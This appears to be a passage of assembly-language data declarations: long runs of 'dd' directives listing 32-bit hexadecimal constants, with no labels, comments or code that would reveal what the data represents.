dd 0FCF06E02h, 0A3009945h, 79A48DDEh, 1266D898h, 2DA1ABh
dd 920107EEh, 75073DEBh, 77EA7287h, 47C0B9B4h, 7BD8B48h
dd 4B95C461h, 66E9F013h, 8C90056Ch, 5306D480h, 0B5B5700h
dd 93FA7E1Bh, 0B17F00B0h, 4FEC56E4h, 5000D6CDh, 36DB855Ch
dd 8B6EA3h, 2E3965A6h, 9383155Ah, 0FAE84F02h, 682BD9D6h
dd 0B904167Ch, 8943D400h, 3A65FB00h, 5D70CDE4h, 0C88E5B0Eh
dd 0CFB9C0A3h, 3D562Eh, 0E20DDA24h, 432C74BCh, 68988007h
dd 75B04DD7h, 6EB392h, 694E95Fh, 5E0E61C0h, 0EE934400h
dd 2B048479h, 47B6A0AAh, 62A401B7h, 0A19AD75Dh, 6B64604Bh
dd 4353AE03h, 372D89h, 0E3D4FF98h, 22836CD3h, 0ED63C801h
dd 6FB0A371h, 0F484ACE8h, 0D24C078Ch, 10393B77h, 0B3317283h
dd 0F0C42B00h, 27EA7B17h, 741D0BA3h, 14AA88D8h, 9AC8019Ah
dd 30CA1A1Eh, 0F603D2CCh, 58AC6F16h, 2C4F826h, 0FB80E09Ch
dd 20BDD8h, 1336602Bh, 912F831Fh, 1B798D0Ch, 7D65070h
dd 7F344BCBh, 0C662015h, 7300D8FFh, 36CEE9A6h, 384C3Ah
dd 91B3ABE1h, 0C313BB58h, 0C9063307h, 0D3B07721h, 16DF97h
dd 0EF356E1Bh, 7387CCC1h, 0F102DD00h, 75277BE7h, 0F8B400E9h
dd 0F4031D4Ah, 0A40133CAh, 0B1DD4815h, 720E6C6h, 8FA0Bh
dd 1485F039h, 0D37F3DBAh, 4EA82760h, 0DEB53824h, 17068AD0h
dd 95C500D1h, 0F15CF657h, 603B4Ch, 0FC754F3Dh, 80DE35h
dd 142155E9h, 0B26F2CDCh, 0C0C89901h, 0CDB3D74Ah, 0F28840C0h
dd 0E6C10B7Eh, 0B88577CBh, 0FE5CC88Fh, 12E51A48h, 4F030AE9h
dd 0D2AC8A28h, 979C6066h, 0E11D00D4h, 3BDCF121h, 2F0C5F2Ah
dd 0F00EBD17h, 48860010h, 5EEB145Bh, 690BC292h, 97F919h
dd 2457C829h, 797231h, 9370C4BCh, 2D1A6BD3h, 0EF4FC601h
dd 87CFF382h, 7553F4h, 1EA9C8E4h, 8C83B729h, 0A8953907h
dd 4952A6D5h, 0E4A4848Fh, 9A50D8h, 0DAF11C32h, 502881C0h
dd 3DFCB71Ch, 2079E5CBh, 315D5154h, 0B8BE0047h, 926280F9h
dd 0D07A7EFh, 0FFF69D55h, 105F3750h, 0B3F500DCh, 0F48874ECh
dd 7500983Eh, 80A246A8h, 4C11A5h, 0E3074E08h, 92595DC6h
dd 0FEC9DC00h, 0DD1510FFh, 3E8FAh, 0ACEBA37Ah, 2B06463Bh
dd 16BDBF24h, 0F670B130h, 39E4905Ah, 61808595h, 9E20FEBh
dd 0DE1F843Bh, 0A6CF78E1h, 93CCC032h, 8E5A6Ch, 6D1C2CDBh
dd 0C752ABB9h, 0F4EEBB00h, 78B2CF1Ah, 2B910034h, 0ED27C5C6h
dd 0E0015D0h, 1F38839Ch, 0CC39536h, 3332A294h, 1800AA29h
dd 0FC50267Dh, 0A7085Eh, 0EC192751h, 0B98503D2h, 3798A300h
dd 682C9CDFh, 87B41D0Bh, 0C1D68036h, 4DBCD88Dh, 3C40C903h
dd 0F30DA8CFh, 96DFA809h, 9AF91FF6h, 0F24380ABh, 0EFEC21CEh
dd 0D3841B01h, 0AAD886EEh, 0B37464h, 9946B05Ch, 2EC8FF73h
dd 7D19070Ah, 0A83098BDh, 11F9C0h, 231AC9D2h, 4B9B3A54h
dd 26B041EFh, 8B3E7067h, 0C60F517Dh, 8FD09445h, 0D15EFC1Dh
dd 6104980h, 626E9Ah, 0F03E9363h, 0F6F887EFh, 807A313Ch
dd 89E1A36Ah, 7546BB8h, 5A1BC2D7h, 80AB76A1h, 0EE0037E0h
dd 4C55A06Dh, 3D9CCF2h, 61A31BDBh, 38008669h, 0DAC00AB6h
dd 6A6B72Bh, 2212C934h, 890040B0h, 0AFFA477Eh, 0C56F30F4h
dd 0A90530h, 73C02AF3h, 0EE762C1Eh, 0A6EB3200h, 0A31F37D4h
dd 48590693h, 48548592h, 0DA940305h, 88D02A82h, 3B04312h
dd 0F5A5DB52h, 5D93669h, 9F7CC406h, 0EBEF3F00h, 372674BEh
dd 42F600B1h, 52BFADB9h, 0F3071AC1h, 0E73F89CAh, 88351BC0h
dd 5EB9007Fh, 2EE12CECh, 0F0E52FAEh, 0CE00266Fh, 8696AAA6h
dd 3C605Dh, 0C13F0B7h, 9D6131BCh, 0E3EEBD00h, 6234EFCh
dd 53C5121Ch, 0D0F707D2h
dd 4BA3F0C7h, 740FCE49h, 833FBEAAh, 0C0BB5EDAh, 67791ECFh
dd 0A07DFCA7h, 838ACC5Fh, 0EDE8948h, 7CBF7163h, 7B309680h
dd 58B50AC7h, 0CF0B1818h, 60805637h, 172CF09Ch, 190EA300h
dd 0DDE69DC5h, 484F00E2h, 0F1E913DFh, 21738C25h, 0A2290A0Eh
dd 0E8C01E37h, 0D75F2C8Ah, 91C96C6h, 7880B47Eh, 2D9A14E4h
dd 3C7A1E2Ch, 3E3DE300h, 133283Bh, 0BB43A29Fh, 60380115h
dd 0BF036C80h, 2AB4A69Bh, 73329882h, 6EBA0026h, 8D2B709Ch
dd 18000B44h, 0E4224A8h, 0FCC90717h, 27F3F2FCh, 0D800AD86h
dd 0EBEE95BFh, 4DF6E401h, 433774C2h, 5BD80331h, 0DDF7008Bh
dd 0BD23ADA1h, 0FC73F331h, 92E9A800h, 7C3E0C38h, 0A8B0FC8h
dd 0A40B8A94h, 0ACC2B783h, 34C32DEAh, 72F701A8h, 216D33Dh
dd 0ADBCC7EBh, 0E8CC87CBh, 0FB3BD910h, 5E1501A0h, 0BFF23595h
dd 474ED9C2h, 505F4h, 9DAB9BB8h, 4896348Eh, 8536D401h
dd 9838E7E5h, 88A85629h, 8C005DB6h, 0E9F6CFECh, 0CEEB12DEh
dd 0ADA000D3h, 0A32B3763h, 164BE70Eh, 55B8E1Ch, 7080B9A0h
dd 3AB254Ch, 691E288Eh, 8BEAE574h, 801DF2C1h, 72634810h
dd 340824Ah, 0CEFED2F4h, 99886062h, 0AA00FAC2h, 795631Bh
dd 46ED67h, 0C5F34D72h, 24E7587Eh, 9B007377h, 9FD353D5h
dd 0E07DD01h, 279E5426h, 326F7A00h, 0F22EC4D4h, 79003AE3h
dd 0C39B8A73h, 450E0024h, 7702641Fh, 1A00C871h, 0CF12C7EAh
dd 0C9A032h, 0FB8BBD18h, 0E34B0C56h, 0D4F27C07h, 64302376h
dd 1B3C5Dh, 7B91ED73h, 0B1F63642h, 5AB23A00h, 0CFAAEB2Eh
dd 0D240006Bh, 632A32D0h, 81075E9Ch, 0C86254B9h, 8FC12341h
dd 13F8160h, 1C2F3A2Dh, 0DC9E9B73h, 0A90159A8h, 7555385Dh
dd 0C3C9B472h, 1934D0h, 2A92B5B3h, 0CC829D90h, 0D500305Eh
dd 3970BFDAh, 156300CFh, 2BEAFCEDh, 0F60E4FBEh, 600C5279h
dd 10C7D777h, 164757Dh, 0D3F04C62h, 0D51BAB14h, 2E6DC453h
dd 55C2B10Ch, 18506Eh, 0F15E5247h, 0FB01ABF9h, 29548700h
dd 0C41F3D38h, 40610035h, 745F7CA0h, 3EEA6562h, 9E453700h
dd 0EF0C6867h, 0FFAA00F9h, 0DE7A0EEAh, 0F83F358Dh, 0DA3281BBh
dd 0CB248278h, 0B5E58040h, 8AFC0611h, 30E96D51h, 6B00647Eh
dd 0B082A970h, 20957905h, 4C3E2C52h, 0CD0C1734h, 1FE1BD00h
dd 811874h, 8F566CBEh, 14DE96B8h, 8E731A00h, 47155BE2h
dd 3C5C0FBAh, 9EE4FA34h, 60B480B9h, 6778634Ah, 0C13E4103h
dd 0D8649D70h, 656FDBh, 20C57C21h, 1C521225h, 6E77AE00h
dd 93E44535h, 0C7A80070h, 2CC158ECh, 43002BBDh, 7044EE0h
dd 3DA37B1Bh, 0A79F9BCDh, 0EBCF0F31h, 0FA3F407Dh, 0CC8F965Fh
dd 1116321Dh, 0FD00F47Fh, 0EDD491F0h, 8D7B41h, 5BA4AA47h
dd 8BB9C2D8h, 69D08E00h, 0F9F0295Dh, 26520782h, 39E73413h
dd 0E985EA00h, 0E006EFBh, 0AE94C483h, 0D04E97h, 96290CE2h
dd 8548B054h, 0D1CE3300h, 61E60BDBh, 0D7F700C2h, 63144730h
dd 35002BD3h, 7D56E09h, 60FCD2CBh, 99719A9Ah, 8700A2D1h
dd 0C36ACA86h, 3DD0B0h, 0ABEDFF02h, 8ACE9C58h, 7B992D00h
dd 0D93BFE3Ch, 25FABCh, 903462FFh, 0A7599E5Bh, 92808900h
dd 63F3EB0Ah, 9CC403C3h, 0F51C296Ch, 138A60D0h, 94D62E00h
dd 54815186h, 0EEF01C9Dh, 0CCC343FDh, 70EF43C4h, 251E949Ah
dd 0BB4C1400h, 2C770459h, 4B7F0365h, 153FF2D4h, 6C23BD88h
dd 9C8ABC00h, 0E95EE1BFh, 29370094h, 0A845A236h, 3A1B9EFFh
dd 0B8105843h, 444F05h, 53B288F4h, 16D6F634h, 0DBC8F200h
dd 5619E22Bh, 0B8ED0096h, 83F9DDA4h, 0B2005C0Ch, 38727DD8h
dd 9B2977h, 0CE2CDA21h, 0EFF1C9F0h, 0ED17BE13h, 3F553407h
dd 84B4EBC0h, 7BB7DA2h, 1E39E3D0h, 919960AEh, 98000DCBh
dd 3B6702D8h, 0C06BD3E7h, 2C3F11F1h, 725C2A87h, 92320006h
dd 0FD0DDFFFh, 0A11835AAh, 0CF5F8050h, 640084A2h, 0C4E54649h
dd 0A0ED7AA6h, 0CE05D8h, 256DEA51h, 2B9731D7h, 0D101062Ch
dd 7F26853Dh, 0E003FCC9h, 0E8852E83h, 1BBACA5h, 14979E35h
dd 80FFC30Fh, 945D5820h, 0F8D5E71Ah, 59BC00ECh, 0FCDAF690h
dd 0C33C65FEh, 8CE6286Fh, 5267C600h, 223CCD2Bh, 92EE09h
dd 40B12174h, 0E6F5C5B6h, 8A616F00h, 707D348Fh, 0FC100AAh
dd 74421E24h, 9E00BB1Fh, 0EE4B7173h, 0FF0BF1h, 0F02F96DAh
dd 0A27B01A7h, 5DB2CE1Ch, 721CBC00h, 3DAF9E9h, 0EE9F69EFh
dd 90809D92h, 0B8005704h, 0F6793521h, 3A70C734h, 47804FCAh
dd 37391F5Ch, 9800D52Dh, 0E7087590h, 404C5Dh, 8E799264h
dd 36BB410h, 0CB0C593Fh, 0EE6032C7h, 18DDA77h, 14CBE166h
dd 0F88EF4DCh, 81DB76Dh, 40C02C31h, 5B042D5Ch, 2FDF0078h
dd 1A467EE2h, 2A00EF9Bh, 0FDC2EEFEh, 8B198Ch, 6851A967h
dd 0AB7EA87Fh, 21F37900h, 7ACD231h, 16F57AEBh, 13D01108h
dd 0A6DA003Ah, 0B5C541B7h, 0CE51F4Ch, 2EC3162Fh, 817008Ah
dd 5D949918h, 563BA6C7h, 9D00FA2Eh, 24703945h, 0EA0E06h
dd 9E30E23Ch, 0ABAAC007h, 9F32A900h, 1EB3AEE7h, 0E5500D1h
dd 8DD6CF36h, 43713B25h, 0BE5DA800h, 0A4F81003h, 5F971E39h
dd 4CED8027h, 75B1CE8Fh, 1179D818h, 7D9B81h, 0A6766D3Fh
dd 44EEA1B2h, 0E2E4C67Eh, 1AB3B900h, 0EFE9C99Ah, 653F36E1h
dd 5F002811h, 0C202A62Ah, 3FA9F70Eh, 0CA80A786h, 0C4DAB464h
dd 1480C166h, 0CBB906FFh, 405E3BC5h, 12F21BF8h, 0FD63A1F4h
dd 0B62390h, 10A3A511h, 0B736E160h, 864EDB0Ch, 65F80C1h
dd 567D07BBh, 0D706493Fh, 6D90111Eh, 0BD5B03B0h, 0A727B32Dh
dd 0FB1A3800h, 0A412948Ch, 9151005Ch, 0DC476A1h, 0E6488405h
dd 0C5C80058h, 0E368DF26h, 0F0B1029Dh, 3F77D069h, 1DDCF7E0h
dd 954F2E00h, 22F55113h, 1CECCBh, 0A74E6C71h, 7560A3B8h
dd 439D106h, 3A34ABE9h, 0B380BD7Ah, 0FE17C424h, 0E3008A80h
dd 0F07525Ah, 0A84254h, 21932996h, 5939D0A7h, 3ECE2F00h
dd 0E941194Ah, 0C242AD5h, 11F8D0h, 0C54D125Ah, 251F554h
dd 53804250h, 66401601h, 0B8896ACBh, 4C6203E4h, 90064CC7h
dd 2841A597h, 98C1A12Ah, 918E18C6h, 0DFE2F858h, 84CB0421h
dd 0B0071FFEh, 20812252h, 14C8CD95h, 0E28B0068h, 9D6FFF38h
dd 0C018B818h, 0DE301BE7h, 5BD6002Ch, 8919A672h, 0DF071438h
dd 135683E3h, 0FD680390h, 0CB511D21h, 5984CFFAh, 0AE697280h
dd 8BFCADAAh, 0D7799D00h, 0FF20A764h, 0D83B0097h, 2848C32Fh
dd 0A36342FAh, 0E0B3E8A9h, 960AE6h, 0E56A8CB2h, 4526241Ch
dd 0A018D5F8h, 74E9C2AAh, 0A3F402h, 4240544Dh, 21A21B36h
dd 4F005490h, 5D98B71Eh, 12841604h, 105FD8D4h, 5E60AC1Dh
dd 911A6014h, 8074283Bh, 6EB8CFF1h, 0CC599Ah, 16C090EDh
dd 0A03073Eh, 6D738200h, 6693644Bh, 0A2780376h, 2A5AB165h
dd 0A57A29E8h, 8F7D9F00h, 593C8CC6h, 0EDF700D9h, 1B50DF80h
dd 44018DAAh, 60A82A68h, 77D329CEh, 9FE90640h, 100343F8h
dd 6499451Fh, 0F3251D00h, 0E850AA83h, 34BC0080h, 0CF72B912h
dd 4F007849h, 0C4BE6D8Ch, 1EBD42C9h, 240BDCh, 25F86CD3h
dd 9DB8287Dh, 6E638E00h, 0EEE2B1C7h, 0E860115h, 2AA61B6Ch
dd 0B2D9EC6Dh, 0C0DD2B01h, 682597A2h, 0DC5CD4h, 4EADFBCDh
dd 0BE2CD48Dh, 72C62600h, 0EA9513DFh, 4F440B53h, 7DCC8Bh
dd 4C6089C3h, 0D2FF1C70h, 52E080B0h, 22CE141Dh, 0D56FAA00h
dd 426A0412h, 0A09E0575h
dd 6B818701h, 0A1031404h, 0BA044620h, 14B5B180h, 0DC3007B3h
dd 6012191Bh, 20A4600Fh, 37E1FAA1h, 0AA99930Fh, 0F01D0094h
dd 0C386DD5Ch, 0A6402C30h, 7174890h, 0F40080F8h, 0B542AA6Fh
dd 607761C0h, 1A884898h, 73007018h, 9DDFCBEh, 5C0453h
dd 0C1A9550Dh, 0BD52E312h, 1BE7200h, 0B2740823h, 420A762h
dd 330BEE92h, 81290EA8h, 3E20CCE1h, 0BF17EC61h, 0FC00B1E0h
dd 0ACFE781Ah, 138AB2h, 0D4CF4827h, 7D1C9860h, 3480B656h
dd 9004C818h, 0C3BFAD48h, 0F8D8F515h, 4D1D1DE1h, 63C3E762h
dd 608540A7h, 959930F6h, 38C0928Eh, 13CF6027h, 8451CE88h
dd 3F530090h, 36E6D7D8h, 74507B6h, 0D16C1239h, 0D2612A6Ah
dd 855B7960h, 84B10F0Ch, 54723982h, 73BC873h, 7A4B2BAAh
dd 0E8031093h, 61005B56h, 0BC1B0784h, 0C5E12Eh, 8A023A89h
dd 6EB3834Eh, 5FE4FC0Dh, 7B31607Bh, 38AF608Ch, 2601FFA1h
dd 30155791h, 0A561ADE4h, 0AA0040BDh, 54D4D699h, 0EAC26B47h
dd 0A770AFBEh, 6AF0C094h, 1FADCE29h, 407F8F86h, 8045B732h
dd 1F004ADCh, 0D8884CFFh, 6035A9CEh, 9A107027h, 4800845Bh
dd 0F4245383h, 140D685Eh, 0F0CA1B8Bh, 49B06130h, 80A88319h
dd 0DF00579Dh, 0F4F8061Dh, 34EC8ACh, 20F0D1E2h, 0AAC0BA2Bh
dd 0B715E8ECh, 8A4DEA7h, 8889726h, 5C846BFCh, 61E76FDh
dd 0E88AC84Ch, 741F99FCh, 29DE4B45h, 0D29380F9h, 0FF58B9D7h
dd 0A0F8C077h, 0EB7BBDFAh, 1A18A873h, 0DA499AA2h, 162A004Eh
dd 0A4551DBFh, 5472DBD6h, 24079C24h, 0B67E8741h, 3D003022h
dd 7FB72D43h, 5B000E50h, 0E1779962h, 90B328C8h, 0A19303B4h
dd 2CF49FF8h, 888060CAh, 7D9767FEh, 38C60AE6h, 5116AFh
dd 0E8B3711Ah, 0B692892Fh, 0BC6E341Eh, 0E794F2C0h, 0C8ECC4h
dd 0A936F599h, 0BEA2C6E4h, 0D8AEF600h, 9A699D82h, 0FA103C0h
dd 0C7C57C37h, 3AF22000h, 17082E04h, 0FBEB4A6Dh, 4076FB80h
dd 98A30038h, 0A8F28E60h, 70013B8h, 89D8A1CCh, 6C3D50Fh
dd 47F51575h, 0B8247217h, 9103601Eh, 0F05AF0FCh, 38FE613h
dd 0CF066245h, 2290AF23h, 8005207h, 0D0032D89h, 713DA2DAh
dd 0C07C5Ah, 0F3A1FEDDh, 0DB8E02Fh, 54D8481Fh, 68E45F41h
dd 0DAE4D6B6h, 1E833026h, 81B805D0h, 0E02E1F0Eh, 54B420FAh
dd 0D7A960h, 62910A52h, 1ED21637h, 0A80CFD39h, 0BD03800Fh
dd 9A25E25h, 0FEB900DCh, 8185097h, 1F00A1FAh, 9EC6A703h
dd 3DDD60h, 378F3F2Eh, 6D5A6705h, 0FEDC1B03h, 0DF16FCh
dd 0D9AB9041h, 0F4D17BD5h, 0EDD09400h, 78A9392Fh, 864B0023h
dd 0A4B1B517h, 0A14A5ADEh, 0FB0AD4A8h, 6B852B8h, 0C9865BD2h
dd 8DF6DFEh, 0E8C5F080h, 0A64B6813h, 0CD81890h, 562079A3h
dd 0C659DC00h, 0E8C789F3h, 121E4BDh, 721BC33Eh, 0C9C282E1h
dd 0F1232165h, 111C3095h, 563F60C5h, 94C180FFh, 73737A58h
dd 381FA48h, 4960BCECh, 0CD44B81Bh, 0F39C0082h, 1A0ECE13h
dd 0B250D037h, 630ADDCh, 0B02E88F0h, 48E7008Ch, 6C3B10D7h
dd 0A6746B8Bh, 749DD400h, 786F385Bh, 949E0C0Eh, 1EE028ECh
dd 85040349h, 46C421F3h, 0BDEF8406h, 2AF903A9h, 827EDE65h
dd 0E7B64088h, 0FCEFA129h, 3DF39D00h, 1ECE0FAFh, 0C00AE13Ah
dd 0EF018A95h, 0E53858BBh, 0A98130F3h, 7B465447h, 0FBCE024Eh
dd 6BCB2226h, 0F3B8E881h, 4099A12Ch, 0FDA8E01h, 82D0895Fh
dd 9BC640F7h, 0C09EAA20h, 233B3630h, 320ADC92h, 0D0DBEDA8h
dd 7D90E83h, 0B0290110h, 0BF440FFDh, 0F348400Dh, 41001FD9h
dd 0D88CF763h, 830952CBh, 0EE61EFB0h, 1E0A240h, 337949F3h
dd 0F90E2AF1h, 5DA19EBCh, 7C052B40h, 0E92F509h, 5AE96F1Bh
dd 4D72C5E0h, 3C0385F9h, 4F40FFEBh, 0B24B9933h, 6F9930h
dd 7661F21Ch, 0E12704AFh, 302D7B00h, 5692F3EDh, 588E03A1h
dd 0C41FF851h, 8C1E43C9h, 822AE31h, 0AA8B0E87h, 12013584h
dd 0D8049BA9h, 421DB89Fh, 62C0F622h, 98BADC9Ah, 3B400F7h
dd 65DA6BD8h, 75014044h, 7641F687h, 51800DEAh, 0BBB5E0B8h
dd 0ED004BAFh, 178A81C1h, 0B96DA7h, 7A3D6305h, 13C70D7Fh
dd 61404B60h, 589B6Ah, 0C4102A49h, 0F5D805ACh, 23470800h
dd 1C4B245Eh, 7795305Fh, 0EC99230h, 0A03DC9DFh, 1F68F860h
dd 0F7085Fh, 0AC58CE1Dh, 0C40C1173h, 310D6E3Fh, 0BD3C3F1Ah
dd 30FB1639h, 27190F6Dh, 5F1C4F36h, 5EDC7345h, 6394BAC0h
dd 0C083CA5Bh, 79908DB8h, 7760F50Dh, 4198C0F9h, 31FB01BAh
dd 68EFA2F9h, 8564529Ah, 0B7040904h, 51BF055Dh, 0AEC06987h
dd 54807631h, 60F59CDDh, 2A94E186h, 0C9006662h, 0DF218311h
dd 6CDD3Fh, 294643ACh, 85514B7Fh, 0AA8CE902h, 8F630B1Ah
dd 0C1FA0064h, 7F442Ah, 0F6DAE06Fh, 0DD68CBECh, 166D6B18h
dd 0F51C429h, 7D301CBCh, 2892FBE0h, 0B11249BDh, 3431C560h
dd 0A19614AEh, 328002Dh, 39B8FABBh, 498E51Ah, 0AED430E0h
dd 9231C715h, 4EA970D9h, 0BA14D480h, 8660AA83h, 0FCF189F5h
dd 0DE19004Eh, 4C9AFFDAh, 64066EE7h, 86FB648h, 3E4FE6B1h
dd 0B48F747Ah, 95E07709h, 0FED779C0h, 0C424E02h, 806DDBC9h
dd 339BB8F8h, 34774856h, 8BE2520Eh, 0DFC0B0B4h, 439A3B19h
dd 0ED01BDFCh, 6D64B62Eh, 0FD17642h, 84816820h, 0EB1A6809h
dd 4B82458h, 0C939B543h, 3CE7FBF0h, 275B8001h, 0ECDB6B5Ch
dd 9D051E5h, 0B0850113h, 0EFE4F794h, 8D4BFCDCh, 0DF59C161h
dd 8025C206h, 38458EF1h, 5883B461h, 0DBDA820h, 0CD73C3FAh
dd 424AE431h, 7B4E2F1Dh, 39956BC0h, 2CAA8E4h, 0BDF856B1h
dd 0DCE06CBFh, 99B8342Ah, 61DFAE30h, 48B57Eh, 64CF0189h
dd 4A0AFA59h, 7DD0AA09h, 68C430B0h, 0B971C7CCh, 27A4206Bh
dd 0F0EC07DBh, 170A14ECh, 8CF6C45Dh, 0E7001211h, 0AFCB5C0Eh
dd 74039444h, 0F3C3A6ECh, 0DABDE85Eh, 0A4E0439h, 83357647h
dd 0E00FA730h, 9D62816h, 74148A69h, 49E909E0h, 6D21C76h
dd 0A0169471h, 2871138Fh, 0EC14D096h, 519C1D1Bh, 0E5918004h
dd 9B2944EAh, 0F3901E4h, 0E70BEE97h, 0C4C13038h, 3FA06D09h
dd 0F518189Ah, 1D149288h, 0C0D04658h, 0B04E83E9h, 0D82402B5h
dd 0CF4724F4h, 55A0B347h, 1470200Ch, 0F8E717D0h, 93B88024h
dd 3B44631Eh, 24C630C0h, 0F4C3660Ch, 0FB4C16Bh, 58A334A9h
dd 0E117AE26h, 0F76CF80Eh, 0B0FA15Dh, 0C5FDC914h, 21684893h
dd 30B0CA9Ch, 90075158h, 43B5E2F2h, 42E4ABA0h, 1F6830C5h
dd 0F04F7629h, 8AC47100h, 38DB531Ch, 1440EE80h, 0C4478C99h
dd 5BC2DF00h, 9FE7F87Fh, 0F88F448h, 0E0E5EAEBh, 6A51D806h
dd 2F51C019h, 0FDE38FF1h, 62E7E60Eh, 98ABA0E0h, 0F89A9047h
dd 9F290FCBh, 6D87E561h, 4B86C009h, 0B1D854Ch, 10C7B033h
dd 1A3051CDh, 21B826h, 1DAAED48h, 6DF1B90Fh, 0E700B4ECh
dd 6937FE8Ah, 0C0EDC798h, 54B91738h, 9C003C39h, 56048ABh
dd 0CEE2E2Bh, 0E99D2609h, 68E03029h, 8A1A9300h, 24E23F85h
dd 509C60F6h, 0B474AE98h, 10624830h, 0A0E33381h, 15C611Ch
dd 840BBA93h, 80E16985h, 0D58E81B1h, 0CCE5401h, 0A3D24B23h
dd 480FEA18h, 6E9567A9h, 0D5407EEFh, 93B08C0Ah, 40AD0041h
dd 7ACD84E7h, 690C252Ch, 798D5FB4h, 0EA1320F8h, 0DA77E400h
dd 0A633ECC5h, 0BC08104Dh, 8A8000B2h, 636C2B76h, 0B5190066h
dd 0C691E489h, 8F001EB0h, 30F8BC24h, 0C08757E9h, 66A92F90h
dd 25005384h, 0B6460E47h
dd 7F59D0CCh, 0BE8D0C91h, 2379110Dh, 0BDC16104h, 0CE8392AAh
dd 3CDBB030h, 6A6EA26h, 537A12AEh, 0DD00F8FEh, 8819EBBh
dd 56B06CF9h, 200E86Fh, 5BA53EC6h, 0DF00BB05h, 51D20959h
dd 80C85D3h, 8B1FB4DAh, 0A871181Eh, 88084ABh, 7AA461B0h
dd 34055291h, 0F15123B7h, 0F5868400h, 0C78857B1h, 8A318128h
dd 0B536BED4h, 6511920h, 7C1C5868h, 0C86F47F0h, 0B85DA1h
dd 0EA421F1Bh, 3C298093h, 0AEA8459Dh, 0FB884F4h, 50B4D98Ah
dd 908418E2h, 0EA00004Ch, 8552DB83h, 0A4DA3C1Bh, 0E19F3094h
dd 91D25E99h, 4792D00h, 0FA3F4E70h, 7DD6093Bh, 488E0F7Ch
dd 162753A1h, 735981C9h, 4DA9CB09h, 148ED6CCh, 749D31CCh
dd 5C072C00h, 6A4EF64Ah, 34FD9714h, 0BB310490h, 288026D1h
dd 24F81530h, 60945037h, 7EFEB37Fh, 0AA20B900h, 4604C463h
dd 90AB57A8h, 123A7511h, 20405AE9h, 25D5CB58h, 13BA0554h
dd 30704879h, 0B57161F4h, 0FD5C6800h, 0F0A20A02h, 0DCF9A043h
dd 0FC89011Fh, 8D052AB1h, 0B0F453A8h, 408823EBh, 860091CEh
dd 0B9CDF776h, 1F9E920Fh, 0C7B533E1h, 627BE785h, 0B4B49179h
dd 5401AF2Ah, 18C60A00h, 2F7EAEB1h, 1DF301EEh, 0B3AA7AB7h
dd 18D8243Bh, 8DA4800h, 0A2A6D860h, 0DC22EBE2h, 0A1B1AB18h
dd 7B136333h, 0C000BBDBh, 78C1B698h, 0D3FA18E6h, 8A3488C4h
dd 8250513Fh, 1626C03Fh, 8788A935h, 0B6470957h, 8133CA30h
dd 6E7B0929h, 48983460h, 0C11DFB6Fh, 7344D84Ch, 0AB31E5F0h
dd 6589808Ah, 0B67186BBh, 79A70021h, 7A022343h, 630072C0h
dd 914F0AA1h, 289C3127h, 18955A89h, 418E0D3Ah, 81183E26h
dd 0C71196A9h, 0B707006Ch, 0DCDEA38Eh, 5C00AEFAh, 681E8586h
dd 6304275h, 9184E0E3h, 8A29D1CCh, 43008CA9h, 22604A75h
dd 66470090h, 4A15253h, 0B8921C9Dh, 0F9BE3B04h, 0CD212FEh
dd 54302068h, 0C7CBC0Dh, 0A4E757h, 950A6DD9h, 74962070h
dd 416614C2h, 3A80ECE8h, 0AC2F0738h, 0E9E16705h, 9872EF7Eh
dd 73F82397h, 0CA529DB0h, 1762B200h, 72570974h, 150E0946h
dd 0F4B04789h, 984EAFFh, 31242F9Bh, 0B9E21421h, 0F40C25A7h
dd 491D9FFEh, 0F98DD6h, 0C0A62B17h, 24E73F0h, 9CC55082h
dd 0C0804A20h, 0C0751F7h, 495938h, 2617F5B2h, 0A6DE96h
dd 608DA7CCh, 0FE2B725h, 27B85050h, 70FAB526h, 7A912600h
dd 736D1ECh, 30A20BA1h, 94CD278Ah, 0D81FC08Eh, 1400E217h
dd 0F9CC8167h, 1353AF28h, 203CF585h, 0B1B48C80h, 89A8D71h
dd 30372045h, 2B8A3180h, 272ADBB4h, 47008428h, 537851EDh
dd 3E3A771Fh, 0F7E07ACh, 6CD10684h, 30247596h, 57BDBA14h
dd 0DD675107h, 12E7182h, 10FEBEAAh, 15908A08h, 53CD0880h
dd 755320E2h, 78AB18D0h, 5A3921h, 0BED460F0h, 0C1211211h
dd 0AE585490h, 74A1C38Ch, 6CC0A5F7h, 0F786B89h, 60328283h
dd 599FFFA2h, 5BEE090h, 6979EF63h, 0A826D102h, 0AF003076h
dd 33011699h, 409BE512h, 20200B16h, 1D31176h, 0D4D14063h
dd 262BB461h, 9E7839C4h, 31B008D5h, 0CEB83h, 4505BFA9h
dd 49126EB3h, 69F57500h, 3E774EAEh, 98C448F9h, 9853E584h
dd 9801F22Ch, 0FD12BF1Dh, 1C260CC9h, 20748513h, 0AB318ADCh
dd 0E8D12Eh, 1C29D740h, 0B07E5735h, 43A19816h, 3619A3E8h
dd 0DE214105h, 95807E05h, 780D1713h, 0E94D24EEh, 383F4630h
dd 32956B09h, 70F42438h, 8DE81843h, 0E293Ch, 0BD5C45E0h
dd 586B7C49h, 3C571D55h, 27823E00h, 0C05BCE96h, 353AA70Ah
dd 0A4A6FC89h, 0EBA85860h, 60F0ED9h, 0E2C0F0B7h, 944B10A4h
dd 870F326h, 918650C1h, 0F0D100D3h, 0BB8F0439h, 0DF0A2747h
dd 842699A6h, 0EB9484C9h, 84AFC740h, 90087C0h, 95DA0616h
dd 124AE3BDh, 13B65099h, 303407ACh, 63E8E249h, 9C8524C0h
dd 0E971DE62h, 3C80A0BEh, 4D6E47h, 502F6560h, 0D8A49CABh
dd 3067F600h, 6F26F03Fh, 9D86312Ch, 0E085B088h, 0BC99B374h
dd 261E7F11h, 0BE8E40B5h, 465F69Bh, 2963F234h, 0B0057CC0h
dd 0B45948F4h, 5DC7B049h, 93F028Ah, 30EA4444h, 96F0FF00h
dd 0F9D4D6FBh, 5FC30304h, 0B6AD64A9h, 0E1880895h, 167EF080h
dd 71DE57BFh, 9BA4006Fh, 0D5F9EE32h, 88026A2Eh, 0BE311F6Bh
dd 44944EE4h, 2902AE35h, 0BDB1BBE2h, 5CAC5231h, 1783780Bh
dd 0D09F143Eh, 51556CEAh, 0CF6C3F4Ch, 9EE063E4h, 0B9391CE2h
dd 8FBD80E5h, 0BC51A627h, 1BAD8100h, 0FDDC0B04h, 0F429499Fh
dd 93C0204Ch, 629D50EFh, 66E4C01Ch, 880B97CAh, 0A4C74744h
dd 0D0FB46B0h, 7AE008Bh, 0BB2A65BAh, 422BF65Dh, 0DA80A8E9h
dd 47A7FF75h, 8BA02407h, 0E0690838h, 0F528E280h, 123FA8D1h
dd 322512A9h, 94C49F4Ch, 67DD0801h, 824BE0C9h, 9FCFB429h
